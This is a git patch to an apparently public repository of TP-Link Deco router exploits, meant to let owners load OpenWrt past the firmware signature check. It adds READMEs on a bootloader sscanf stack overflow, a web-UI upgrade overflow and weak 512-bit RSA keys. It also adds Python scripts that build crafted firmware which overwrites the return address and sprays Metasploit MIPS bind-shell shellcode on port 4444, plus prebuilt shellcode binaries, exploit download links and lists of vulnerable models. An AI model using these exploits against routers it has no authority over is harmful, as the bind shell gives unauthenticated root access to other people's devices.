From d3ae5f722abcd2f5d773905935240b525b1952d5 Mon Sep 17 00:00:00 2001 From: naf Date: Thu, 22 Aug 2024 11:23:45 -0500 Subject: [PATCH] split into uboot/userspace/3rd_party/rsa --- 3rd_party/README.md | 29 +++++ README.md | 64 +++-------- rsa/README.md | 7 ++ uboot/README.md | 55 ++++++++++ {v2_dynamic => uboot}/build_fw.py | 0 .../deco_all_webfailsafe_faux_fw_tftp_v2.bin | Bin 0 -> 32768 bytes uboot/shellcode | Bin 0 -> 2356 bytes {v2_dynamic => uboot}/shellcode.asm | 0 uboot/shellcode.bin | Bin 0 -> 768 bytes {v2_dynamic => uboot}/shellcode.lk | 0 uboot/shellcode.o | Bin 0 -> 2288 bytes userspace_fw_upgrade/README.md | 26 +++++ userspace_fw_upgrade/build_fw_mips.py | 97 +++++++++++++++++ userspace_fw_upgrade/build_fw_mipsel.py | 99 ++++++++++++++++++ v1_static/README.md | 7 -- v1_static/build_fw.py | 18 ---- v1_static/shellcode.asm | 45 -------- v2_dynamic/README.md | 8 -- 18 files changed, 330 insertions(+), 125 deletions(-) create mode 100644 3rd_party/README.md create mode 100644 rsa/README.md create mode 100644 uboot/README.md rename {v2_dynamic => uboot}/build_fw.py (100%) create mode 100644 uboot/deco_all_webfailsafe_faux_fw_tftp_v2.bin create mode 100755 uboot/shellcode rename {v2_dynamic => uboot}/shellcode.asm (100%) create mode 100755 uboot/shellcode.bin rename {v2_dynamic => uboot}/shellcode.lk (100%) create mode 100644 uboot/shellcode.o create mode 100644 userspace_fw_upgrade/README.md create mode 100644 userspace_fw_upgrade/build_fw_mips.py create mode 100644 userspace_fw_upgrade/build_fw_mipsel.py delete mode 100644 v1_static/README.md delete mode 100644 v1_static/build_fw.py delete mode 100644 v1_static/shellcode.asm delete mode 100644 v2_dynamic/README.md diff --git a/3rd_party/README.md b/3rd_party/README.md new file mode 100644 index 0000000..48b58cc --- /dev/null +++ b/3rd_party/README.md @@ -0,0 +1,29 @@ +### Firmware format +- Only seen in the tplink deco firmware for Deco S4 V2, tplink allows specially crafted +firmware to bypass the signature check when uploaded to web-ui based firmware update mechanism +- Binary references "nm_upgrade3rdFwupFile" and "3rd Firmware", which I assume means 3rd party? +- No tool written yet (plenty of other bypasses on these devices) + +### Firmware description +``` +0x0 = size of firmware file (>0x1814) +0x4 = CRC32 of remaining file contents +0x8 = 0xDEADBEEF +0xC = product info section (length 0x40, "product_name:xxx\nproduct_version:x.x.x.x\n") +0x4C = "os-linux" +0x54 = kernel write location in flash (=0x200000) +0x58 = kernel size (0x1000 < x < 0xE00000) +0x60 = kernel location in fw file (=0x14c) +0x64 = kernel size +0x68 = "rootfs" +0x6A = rootfs write location in flash (0x200000 + kernel_len) +0x6E = rootfs size (0x1000 < x < 0xE00000) +0x72 = rootfs location in fw file (kernel_len + 0x14c + 0x01 spacer) +0x76 = rootfs size +0x14C = +0x14C+kernel_len = 0x01 spacer (any value) +0x14C+kernel_len+0x01 = +``` + +### Possible Applicable Devices +- Deco S4 V2 diff --git a/README.md b/README.md index dee09c6..a42fc92 100644 --- a/README.md +++ b/README.md @@ -2,51 +2,21 @@ Bypass firmware signature check that prevents tplink deco devices from loading user-provided firmware (i.e. openwrt) in a way that doesn't require soldering on a serial console -### Vulnerability -- In tplink deco firmware, a modification was made to uboot to add http upload functionality to support -firmware installation directly from the bootloader as a failsafe procedure -- This modification introduced an unconstrained sscanf reading the "fw-type" field -from the user-provided firmware file into a fixed 256-byte stack buffer +### Methods -### Exploit -- Take control of PC by overflowing stack buffer enough to overwrite return address -- Point new return address to location within user-submitted firmware file to run arbitrary shellcode - -### Shellcode -Developed to load a boot image via tftp and execute it from RAM, as if following commands were run from a uboot prompt: -``` -setenv serverip 192.168.0.2 -setenv ipaddr 192.168.0.1 -tftpboot 0x82000000 initramfs-kernel.bin -bootm 0x82000000 -``` -- [v1_static](v1_static): initial version with hardcoded symbol addresses (now deprecated). required reverse engineering a dump of each individual device/versions bootloader to locate symbol addresses -- [v2_dynamic](v2_dynamic): second version which dynamically searches RAM for required symbols addresses - -### Possible Applicable Devices -[According to tplink](https://community.tp-link.com/us/home/kb/detail/490), uboot http recovery is present on the following devices: -- Deco E4 -- Deco M4 -- Deco P9 -- Deco M9 Plus -- Deco X20/X60 V1 (firmware 1.2.5 or later version) -- Deco X20 V1.2 and later version -- Deco X60 V2 and later -- Deco S4 - -but these devices come in different "versions" which may have completely different hardware and uboot - -### Devices With Confirmed Working Exploit -- [Deco S4 v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco S4R(EU) v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco S4 v2.6](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco M4R v1](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco M4R v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco P9 v1.80](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- [Deco P9 v2.0](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) -- Expecting others should work with [dynamic version](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin), [let me know](mailto:naf@sdf.org) if you have tested it with another device/version - -### Devices that will *not* work with exploit -- Deco S4 v3.6 (ARM board) -- Deco M9 Plus V1 and V2 (ARM board) -- Deco X20 V3 (different firmware validation code) +## [Bootloader httpd firmware upgrade stack overflow](uboot) +- Deco S4 v2 +- Deco S4R(EU) v2 +- Deco S4 v2.6 +- Deco M4R v1 +- Deco M4R v2 +- Deco P9 v1.80 +- Deco P9 v2.0 +- Possibly other older MIPS firmwares +## [Web-based firmware upgrade stack overflow](userspace_fw_upgrade) +- Deco S4 v2 +- Deco X20 v3 +## [Undocumented 3rd party firmware format](3rd_party) +- Deco S4 v2 +## [Small RSA keys](rsa) +- Unknown, probably many deco device types diff --git a/rsa/README.md b/rsa/README.md new file mode 100644 index 0000000..cbac718 --- /dev/null +++ b/rsa/README.md @@ -0,0 +1,7 @@ +### Vulnerability +- According to a published paper (https://www.cs.ucr.edu/~zhiyunq/pub/ccs24_wireless_mesh.pdf), Deco +devices re-use their 512-bit rsa ssh host key as their authorization key also +- 512-bit rsa keys can be cracked in a matter of weeks on commodity hardware +- However, the ssh shell binary only allows port forwarding (no ssh interative session) so this only +increases attack surface but does not allow a direct login +- According to the researchers, port-forwarding to the mesh config distribution "tmpsvr" binary exposes an exploitable vlunerability that can be used to gain RCE, but no exploit is published yet diff --git a/uboot/README.md b/uboot/README.md new file mode 100644 index 0000000..6cf95ec --- /dev/null +++ b/uboot/README.md @@ -0,0 +1,55 @@ +### Vulnerability +- In tplink deco firmware, a modification was made to uboot to add http upload functionality to support +firmware installation directly from the bootloader as a failsafe procedure +- This modification introduced an unconstrained sscanf reading the "fw-type" field +from the user-provided firmware file into a fixed 256-byte stack buffer + +### Exploit +- Take control of PC by overflowing stack buffer enough to overwrite return address +- Point new return address to location within user-submitted firmware file to run arbitrary shellcode + +### Shellcode +Developed to load a boot image via tftp and execute it from RAM, as if following commands were run from a uboot prompt: +``` +setenv serverip 192.168.0.2 +setenv ipaddr 192.168.0.1 +tftpboot 0x82000000 initramfs-kernel.bin +bootm 0x82000000 +``` +- dynamically search RAM for required uboot symbols addresses (run_command, NetReceive) so shellcode works on multiple devices with slightly different u-boot builds + +### Possible Applicable Devices +[According to tplink](https://community.tp-link.com/us/home/kb/detail/490), uboot http recovery is present on the following devices: +- Deco E4 +- Deco M4 +- Deco P9 +- Deco M9 Plus +- Deco X20/X60 V1 (firmware 1.2.5 or later version) +- Deco X20 V1.2 and later version +- Deco X60 V2 and later +- Deco S4 + +but these devices come in different "versions" which may have completely different hardware and uboot + +### Devices With Confirmed Working Exploit +- [Deco S4 v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco S4R(EU) v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco S4 v2.6](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco M4R v1](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco M4R v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco P9 v1.80](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- [Deco P9 v2.0](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin) +- Expecting others should work with [dynamic version](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin), [let me know](mailto:naf@sdf.org) if you have tested it with another device/version + +### Devices that will *not* work with exploit +- Deco S4 v3.6 (ARM board) +- Deco M9 Plus V1 and V2 (ARM board) +- Deco X20 V3 (different firmware validation code) + +### Building +``` +export STAGING_DIR=~/tplink/openwrt/staging_dir/ +$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-as -march mips32r2 shellcode.asm -o shellcode.o +$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-ld -T shellcode.lk shellcode.o -o shellcode$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-objcopy -j ".text" -O binary shellcode shellcode.bin +python build_fw.py > deco_all_webfailsafe_faux_fw_tftp.bin +``` diff --git a/v2_dynamic/build_fw.py b/uboot/build_fw.py similarity index 100% rename from v2_dynamic/build_fw.py rename to uboot/build_fw.py diff --git a/uboot/deco_all_webfailsafe_faux_fw_tftp_v2.bin b/uboot/deco_all_webfailsafe_faux_fw_tftp_v2.bin new file mode 100644 index 0000000000000000000000000000000000000000..b661410eb0ada539913451ac76172719d05d7e78 GIT binary patch literal 32768 zcmeI1&2Jk;6u>7RtdhOZ14tl&^k{716vtXSX_`bqw1o5nwMj{eR8D5S9@k6PyVmSD zPJ$}AQl)aB5(f?(IP}1oE&YHCqCNJ{;1B2l!KF9zW_O+J`lF>BIM6pz?AmN>ZkpAqNQ^F~)kfaQnrv1)PlB<#RKop=4Q$tz!fe$1 zxvN~b+$mISca#A&wviY-N^g|><{ymR>~=?WKUW_7%8mqgwXcGov>U-4trI-deh7Zk zZU?_;-v>Wy-vtk}Z-e{VH^Dva>tV)%hioBuz>MHN%Ln&ZF1X7w!5#M2Fx_FYE;S-R z1c(3;AOb{y2oM1x@DdT2!?wNo>DJo%in`PbKDVUpxloXNSL*ri zFU&k-C;p^VSeT5ja8FHIqRKyhVHavv(Z<_QkyP9lg6F1NVF z?HxW4gUh9ex<-aDOy$KQXki3MBaC3aqym7MiZETPjxTM#6s;&0+Xw88;xKEHi(VK_ zQ=;l&6d*kiyy=)0hc>U&Oxy9z8ZXrVf5vO`F;0!plPr z{lV3Au>+Ud<-Dp))|{4~_Q*2Pj_PXpJUM^lklkqTs*StE*+ct#u4RJ}TUK|63yceA zIk>{SiYqJ%^$ISop~s>X<$`58PI9lQIq@C2)daigr?!-_YaAF>+t4pZ@6z}cy^HJ6 z@OC(cs`eG`oc>KUJv}{>oGN$p887ok^I)iLf4HSb&L6$Y|LfTYj{>5(N5H9ipw0k5 zy~yhhuJFopyzHGAytsqCk%{Aip=S;MgjIO%(C@M~tg3=oLzLpe;V`TyY8d*bL&cFTwdGMGBe5fzqinlwYy~fEc>rFO z(y$b$d{hjv;`V0l8-srK@=292vv_!4Quml&z5aPMxiQ3!i@zx<-f+D#asiVnmysov zSh47MB$`K2#l_@BL#UOJD33!q1QPu!C?3iI^?^S15QRSAM=Vl?l-ufK4rP@qazB<0 zB2sQ1L=z&yXcB<*LdA6OcMcX8^ntR2@fA$pviISc^+X?PBuf546GMtZpMhR-CdT$e z&&}69Q(@92>@1=rJ=bxRr0p!AByDFN zXJ1nfRq~mSKzS(4jbPBnY1lJJ8q;aRm`}TP93^SD7VtkB>G0-Jk`50~lS^qkxTM8{ zV1_voJ`6>%4C~g_bM=Mw3!7V?>0j!Y+rn!=ZtLR2v(fW>Y5g-CYfCvx)B0vO)01+SpM1Tko0U|&I zhyW2F0z`la5CI}U1c(3;AOb{y2oM1xKm>>Y5g-CYfCvx)B0vO)01+SpM1Tko0U|&I zhyW2F0z`la5CI}U1c(3;AOb{y2oM1xKm>>Y5g-CYfCvx)B0vO)01+SpM1Tko0U|&I I{u=^+1C2ZL;s5{u literal 0 HcmV?d00001 diff --git a/uboot/shellcode b/uboot/shellcode new file mode 100755 index 0000000000000000000000000000000000000000..0362f81d9024e5e5507867b8344398b40f73fba4 GIT binary patch literal 2356 zcmeHJ&ubJ{9RJSlFFd~Q^W*#8 zWB2>s?sq3ne{Pfv+KCcXFgFrWV(Jjl_{$zud1g_W_Cp=-5oRRelKWYK4?G}nh`9|>< zo)KM0(^2vpdG#|@)gAG@x-B-;Es?0l;wSZs*i;Y2HT6JTRrkeZbx&MUcf}9G7E_Pu zkh)Jbb&saiUD~hi(3HAG9}V*k<9;k3Jv@v@_m>P~;5E`O(`PX6S@GAjGHwoit@5{% z8&B)}4srnNN0r~r9P8fHVy5rBjm(*p{)x0Z5oUtS!Rv7^PBWlPKZgCbGpzLm__qpp z33I()?*A5k<~Vr0jYO2|3=oX304EF(jGw@NNuvy3hrU(7x3OOiwf_-ty`cY!`X>ea z8}#D^{5y1Xkq+MPCGg)nI9ipRPAh0jC!l5{T=N^Ppxbr*b|dmud^cVTC3(YnIKGh- zNjGe*qSlvjC|lB7mjk84=&Z8UL8)w0)W~irQg+M#WwLt<+`osI>MKRKfQ=}2!#F=c zBUp=N*ysd7PixZ0!un_p&-Zf$Q*WoBK>PAsOyopgcVoAS9EVw6?ayL1IH6qe{N;e0 zGYgAfI&RZj?zk%vIp|l%jpNX3;tWy#(Y{ss5H9{s1ilj_9s?~~2f?wg2M=;7>vi4l zdCzH`8-(#e_zvbiV0{mYKK{*MJQt+tU&wjr{|41QLgq7ZaMpK9BO0rNTEd*q@;(Od h%XR#FRyerWgl`wPe)QLS2SmX)egk-+Z$j3-e*jcyG0Xq} literal 0 HcmV?d00001 diff --git a/v2_dynamic/shellcode.asm b/uboot/shellcode.asm similarity index 100% rename from v2_dynamic/shellcode.asm rename to uboot/shellcode.asm diff --git a/uboot/shellcode.bin b/uboot/shellcode.bin new file mode 100755 index 0000000000000000000000000000000000000000..77ba9a7c7c38736cf82fb770242e4ad49cbc672c GIT binary patch literal 768 zcmaiuze@sP7{{OUu9tJlp`f7P4SXrdL?uGuAcuyC2HP4_JmD~Za30Zkf?z{JLqkJ@ zLvxS$qn1cV|BU{ChN#8uy3>R+?xkmW-}m$V@w|#;l3-mjg9{K=R!y>*^o>M1_Jch% zZG9+HeQ4_|fA!!A&`0Vx0m%O3SX5+_Fxht|fFwJ_&cU=pO!;8MX5B7sa`@1jOW@`K zu)du=&fcahrI-wo;yUw&W&)hD+A%<_2(a9=z8nub z0)Z7k*a%tHI<>~LoZ#d*Q&kPMbU~}Cexd4Gg~pQcNNg_=iALg_#614ZYn4ncr@PXz zc^mg-ewbG4#)$(kruv?dweE$*eAExBRAM3*Is2ffL-iE6nhZHE^J{3g4l*N IFRvH-0V?8p5&!@I literal 0 HcmV?d00001 diff --git a/v2_dynamic/shellcode.lk b/uboot/shellcode.lk similarity index 100% rename from v2_dynamic/shellcode.lk rename to uboot/shellcode.lk diff --git a/uboot/shellcode.o b/uboot/shellcode.o new file mode 100644 index 0000000000000000000000000000000000000000..7ca7fd390b3d8798aaa75f305ff79d6878317b1c GIT binary patch literal 2288 zcmb7FO^6&-5U!qCdnX#m1Qa4FwlIx}S)17#DEn zt9q{=Ro$PzbK+g6>uX%?~~)7A?LLNS@w#TJudPb&Kn`AkRo33Qjx5PBQ8W=r;LLFKo9HD|>Q~HWJBs*=u#X(yOl?nW}5?qBxRC*qKk?JR_1=ECsD79#w#I zJ67^2-YEb1zlhFf*{JYS{px3`s%!2S>PPpST6g>Ew)>6x#l5O-xmVOr?j?28y{K-u z7u0q4t6{~|Z91fGQeEAk33Z+Jt7}wK>-6$4?l9li<)ep(`O*C)$Fb)qx8DYN&qBPc z(fF7(XaB8&#v6zO>s~CF0GK}Jl={ZUd`uxtd1sRcz6)@Rz`S3;zoHf`u<5zG2~Sv7dpu-uJ)_Uzf1mxHgxw%~r;ZKUJlJ8*?s&15-l&UHJTFm5-~Xdw>eav~@i?g!&jL8%Cn zxkcp0LMCEPL@Qz-b(lNPoLfSwXj9tECl@N8{B2J@%fQ8K!qj6%7|LcU!$g_`G`q`E zB+aF6x2IzwMqz!lW)#OJ0yEl5u-vg&mBnp1d~fI_hwp1QG~=qlp20PP(OWuRH+a@y z^pVbQ8@y=nX9o8TzG(0zgTFI)-C*>puK&BicMZO$agct}kztF1R3^DzEUW~dD#>pZ zv_lzE&`MJZ60s1)^IZx~zBl_}5VoTErEmfMUOS-xgBXNTCQ%C)nc|)QkGu*p_hZpx zjUD3&tmP#<`G45ZD5v9HwU6_0@A{wXLo-I(vXmQIZ9l5UJP2LEdK$0Z%g<(pPuDYZ zt}F4rjHkhS1G?ayGJYs6ychG1WAXWnl#w deco_fw_overflow_bindshell_mips.bin +python build_fw_mipsel.py > deco_fw_overflow_bindshell_mipsel.bin +``` diff --git a/userspace_fw_upgrade/build_fw_mips.py b/userspace_fw_upgrade/build_fw_mips.py new file mode 100644 index 0000000..e0f846b --- /dev/null +++ b/userspace_fw_upgrade/build_fw_mips.py @@ -0,0 +1,97 @@ +import sys +from struct import pack + +# shellcode courtesy of metasploit mipsbe/shell_bind_tcp.rb +shellcode = pack(">58I", *[ \ + # --- socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 + 0x27bdffe0, # addiu sp,sp,-32 + 0x240efffd, # li t6,-3 + 0x01c02027, # nor a0,t6,zero + 0x01c02827, # nor a1,t6,zero + 0x2806ffff, # slti a2,zero,-1 + 0x24021057, # li v0,4183 ( __NR_socket ) + 0x0101010c, # syscall + # --- bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 + 0x3050ffff, # andi s0,v0,0xffff + 0x240effef, # li t6,-17 ; t6: 0xffffffef + 0x01c07027, # nor t6,t6,zero ; t6: 0x10 (16) + 0x240dfffd, # li t5,-3 ; t5: -3 + 0x01a06827, # nor t5,t5,zero ; t5: 0x2 + 0x01cd6804, # sllv t5,t5,t6 ; t5: 0x00020000 + 0x240e115c, # li t6,0x115c (port) ; t6: 0x115c (4444 (default LPORT)) + 0x01ae6825, # or t5,t5,t6 ; t5: 0x0002115c + 0xafadffe0, # sw t5,-32(sp) + 0xafa0ffe4, # sw zero,-28(sp) + 0xafa0ffe8, # sw zero,-24(sp) + 0xafa0ffec, # sw zero,-20(sp) + 0x02102025, # or a0,s0,s0 + 0x240effef, # li t6,-17 + 0x01c03027, # nor a2,t6,zero + 0x23a5ffe0, # addi a1,sp,-32 + 0x24021049, # li v0,4169 ( __NR_bind )A + 0x0101010c, # syscall + # --- listen(3, 257) = 0 + 0x02102025, # or a0,s0,s0 + 0x24050101, # li a1,257 + 0x2402104e, # li v0,4174 ( __NR_listen ) + 0x0101010c, # syscall + # --- accept(3, 0, NULL) = 4 + 0x02102025, # or a0,s0,s0 + 0x2805ffff, # slti a1,zero,-1 + 0x2806ffff, # slti a2,zero,-1 + 0x24021048, # li v0,4168 ( __NR_accept ) + 0x0101010c, # syscall + # --- dup2(4, 2) = 2 + # --- dup2(4, 1) = 1 + # --- dup2(4, 0) = 0 + 0xafa2ffff, # sw v0,-1(sp) # socket + 0x2411fffd, # li s1,-3 + 0x02208827, # nor s1,s1,zero + 0x8fa4ffff, # lw a0,-1(sp) + 0x02202821, # move a1,s1 # dup2_loop + 0x24020fdf, # li v0,4063 ( __NR_dup2 ) + 0x0101010c, # syscall 0x40404 + 0x2410ffff, # li s0,-1 + 0x2231ffff, # addi s1,s1,-1 + 0x1630fffa, # bne s1,s0 + # --- execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 + 0x2806ffff, # slti a2,zero,-1 + 0x3c0f2f2f, # lui t7,0x2f2f "//" + 0x35ef6269, # ori t7,t7,0x6269 "bi" + 0xafafffec, # sw t7,-20(sp) + 0x3c0e6e2f, # lui t6,0x6e2f "n/" + 0x35ce7368, # ori t6,t6,0x7368 "sh" + 0xafaefff0, # sw t6,-16(sp) + 0xafa0fff4, # sw zero,-12(sp) + 0x27a4ffec, # addiu a0,sp,-20 + 0xafa4fff8, # sw a0,-8(sp) + 0xafa0fffc, # sw zero,-4(sp) + 0x27a5fff8, # addiu a1,sp,-8 + 0x24020fab, # li v0,4011 ( __NR_execve ) + 0x0101010c # syscall 0x40404 + ]) + +#pad to len 0x1000 +shellcode += b"\x00"*(0x1000-len(shellcode)) + +crap = "JUST DOING SOME SSCANF STACK SMASHING NOTHING TO SEE HERE" + +header = pack('>I', 0x00FF0000) # filesize +header += b'\xff'*16 # md5 (ignored) +header += b"fw-type:" # +header += b'x'*4 + crap.encode() # important stupid crap for posterity +header += b'x'*(256-len(crap)-4) # fill stack $SP-0x108 to $SP-8 +header += b"S8xx" # [$SP-8] = stored s8, ignore +header += pack('>I', 0x7701ff00) # [$SP-4] = stored ra, point towards somewhere + # in middle of KASLR'd mmap addresses + # NOTE: 00 in address LSB stops scanf to leave + # [$SP+0] (copy of arg0 *buffer) untouched + +#pad to len 0x1000 +header += b"\x00"*(0x1000-len(header)) + +fw = header +for i in range(0xff0000//0x1000-1): + fw += shellcode + +sys.stdout.buffer.write(fw) diff --git a/userspace_fw_upgrade/build_fw_mipsel.py b/userspace_fw_upgrade/build_fw_mipsel.py new file mode 100644 index 0000000..8d012ee --- /dev/null +++ b/userspace_fw_upgrade/build_fw_mipsel.py @@ -0,0 +1,99 @@ +import sys +from struct import pack + +# shellcode courtesy of metasploit mipsle/shell_bind_tcp.rb +shellcode = pack("<58I", *[ \ + # --- socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 + 0x27bdffe0, # addiu sp,sp,-32 + 0x240efffd, # li t6,-3 + 0x01c02027, # nor a0,t6,zero + 0x01c02827, # nor a1,t6,zero + 0x2806ffff, # slti a2,zero,-1 + 0x24021057, # li v0,4183 ( __NR_socket ) + 0x0101010c, # syscall + # --- bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 + 0x3050ffff, # andi s0,v0,0xffff + 0x240effef, # li t6,-17 ; t6: 0xffffffef + 0x01c07027, # nor t6,t6,zero ; t6: 0x10 (16) + 0x240d5c11, # li t5,0x115c (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT)) + 0x01cd6804, # sllv t5,t5,t6 ; t5: 0x5c110000 + 0x240efffd, # li t6,-3 ; t6: -3 + 0x01c07027, # nor t6,t6,zero ; t6: 0x2 + 0x01ae6825, # or t5,t5,t6 ; t5: 0x5c110002 + 0xafadffe0, # sw t5,-32(sp) + 0xafa0ffe4, # sw zero,-28(sp) + 0xafa0ffe8, # sw zero,-24(sp) + 0xafa0ffec, # sw zero,-20(sp) + 0x02102025, # or a0,s0,s0 + 0x240effef, # li t6,-17 + 0x01c03027, # nor a2,t6,zero + 0x23a5ffe0, # addi a1,sp,-32 + 0x24021049, # li v0,4169 ( __NR_bind )A + 0x0101010c, # syscall + # --- listen(3, 257) = 0 + 0x02102025, # or a0,s0,s0 + 0x24050101, # li a1,257 + 0x2402104e, # li v0,4174 ( __NR_listen ) + 0x0101010c, # syscall + # --- accept(3, 0, NULL) = 4 + 0x02102025, # or a0,s0,s0 + 0x2805ffff, # slti a1,zero,-1 + 0x2806ffff, # slti a2,zero,-1 + 0x24021048, # li v0,4168 ( __NR_accept ) + 0x0101010c, # syscall + # --- dup2(4, 2) = 2 + # --- dup2(4, 1) = 1 + # --- dup2(4, 0) = 0 + 0xafa2ffff, # sw v0,-1(sp) # socket + 0x2411fffd, # li s1,-3 + 0x02208827, # nor s1,s1,zero + 0x8fa4ffff, # lw a0,-1(sp) + 0x02202821, # move a1,s1 # dup2_loop + 0x24020fdf, # li v0,4063 ( __NR_dup2 ) + 0x0101010c, # syscall 0x40404 + 0x2410ffff, # li s0,-1 + 0x2231ffff, # addi s1,s1,-1 + 0x1630fffa, # bne s1,s0 + # --- execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 + 0x2806ffff, # slti a2,zero,-1 + 0x3c0f6962, # lui t7,0x2f2f "bi" + 0x35ef2f2f, # ori t7,t7,0x6269 "//" + 0xafafffec, # sw t7,-20(sp) + 0x3c0e6873, # lui t6,0x6e2f "sh" + 0x35ce2f6e, # ori t6,t6,0x7368 "n/" + 0xafaefff0, # sw t6,-16(sp) + 0xafa0fff4, # sw zero,-12(sp) + 0x27a4ffec, # addiu a0,sp,-20 + 0xafa4fff8, # sw a0,-8(sp) + 0xafa0fffc, # sw zero,-4(sp) + 0x27a5fff8, # addiu a1,sp,-8 + 0x24020fab, # li v0,4011 ( __NR_execve ) + 0x0101010c # syscall 0x40404 + ]) + +#pad to len 0x1000 +shellcode += b"\x00"*(0x1000-len(shellcode)) + +crap = "JUST DOING SOME SSCANF STACK SMASHING NOTHING TO SEE HERE" + +header = pack('>I', 0x00FF0000) # filesize +header += b'\xff'*16 # md5 (ignored) +header += b"fw-type:" # +header += b'x'*4 + crap.encode() # important stupid crap for posterity +header += b'x'*(256-len(crap)-4) # fill stack $SP-0x10C to $SP-0xC +header += b"PADx" # [$SP-0xC] = stack alignment padding, ignore +header += b"S8xx" # [$SP-8] = stored s8, ignore +header += pack(' deco_s4_faux_fw_tftp.bin -``` diff --git a/v1_static/build_fw.py b/v1_static/build_fw.py deleted file mode 100644 index 26ab128..0000000 --- a/v1_static/build_fw.py +++ /dev/null @@ -1,18 +0,0 @@ -import sys -from struct import pack - -shellcode = open("shellcode.bin", "rb").read() -source_asm = open("shellcode.asm", "rb").read() - -b = pack('>I', 0x00008000) + b'X'*16 + b"fw-type:" \ - + b'x'*256 + b"S000S001S002" + pack('>I', 0x80060200) \ - -b += b"\x00"*(0x200-len(b)) + shellcode -b += b"\xff"*(0x2A0-len(b)) + b"setenv serverip 192.168.0.2\x00" -b += b"\xff"*(0x2D0-len(b)) + b"setenv ipaddr 192.168.0.1\x00" -b += b"\xff"*(0x300-len(b)) + b"tftpboot 0x81000000 initramfs-kernel.bin\x00" -b += b"\xff"*(0x400-len(b)) + b"bootm 0x81000000\x00" -b += b"\xff"*(0x1000-len(b)) + b"----SOURCE:----\n" + source_asm -b += b"\xff"*(0x8000-len(b)) - -sys.stdout.buffer.write(b) diff --git a/v1_static/shellcode.asm b/v1_static/shellcode.asm deleted file mode 100644 index 330d466..0000000 --- a/v1_static/shellcode.asm +++ /dev/null @@ -1,45 +0,0 @@ -#addresses of qca-legacy-uboot code -.ifdef DECO_S4_V2 - uboot_base_ram = 0x87f84000 - webfailsafe_is_running = uboot_base_ram + 0x3FDDC - run_command = uboot_base_ram + 0x107F4 -.endif -.ifdef DECO_M4R_V1 - uboot_base_ram = 0x87f88000 - webfailsafe_is_running = uboot_base_ram + 0x3B76C - run_command = uboot_base_ram + 0x107E8 -.endif -.ifdef DECO_M4R_V2 - uboot_base_ram = 0x87f88000 - webfailsafe_is_running = uboot_base_ram + 0x3B85C - run_command = uboot_base_ram + 0x107F4 -.endif - -#addresses inside of uploaded fw -uploaded_fw_base = 0x80060000 -s_setenv_serverip = uploaded_fw_base + 0x02A0 -s_setenv_ipaddr = uploaded_fw_base + 0x2D0 -s_tftpboot = uploaded_fw_base + 0x0300 -s_bootm = uploaded_fw_base + 0x0400 - -li $t0, webfailsafe_is_running -sw $zero, ($t0) # webfailsafe_is_running = 0 -li $a1, 0x0 -li $a0, s_setenv_serverip -li $t9, run_command -jalr $ra, $t9 # run_command("setenv serverip 192.168.0.2", 0) -li $a1, 0x0 -li $a0, s_setenv_ipaddr -li $t9, run_command -jalr $ra, $t9 # run_command("setenv ipaddr 192.168.0.1", 0) - -loop: -li $a1, 0x0 -li $a0, s_tftpboot -li $t9, run_command -jalr $ra, $t9 # run_command("tftpboot 0x81000000 initramfs-kernel.bin", 0) -li $a1, 0x0 -li $a0, s_bootm -li $t9, run_command -jalr $ra, $t9 # run_command("bootm 0x81000000", 0) -b loop diff --git a/v2_dynamic/README.md b/v2_dynamic/README.md deleted file mode 100644 index 3ffdd93..0000000 --- a/v2_dynamic/README.md +++ /dev/null @@ -1,8 +0,0 @@ -### Building -``` -export STAGING_DIR=~/tplink/openwrt/staging_dir/ -$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-as -march mips32r2 shellcode.asm -o shellcode.o -$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-ld -T shellcode.lk shellcode.o -o shellcode -$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-objcopy -j ".text" -O binary shellcode shellcode.bin -python build_fw.py > 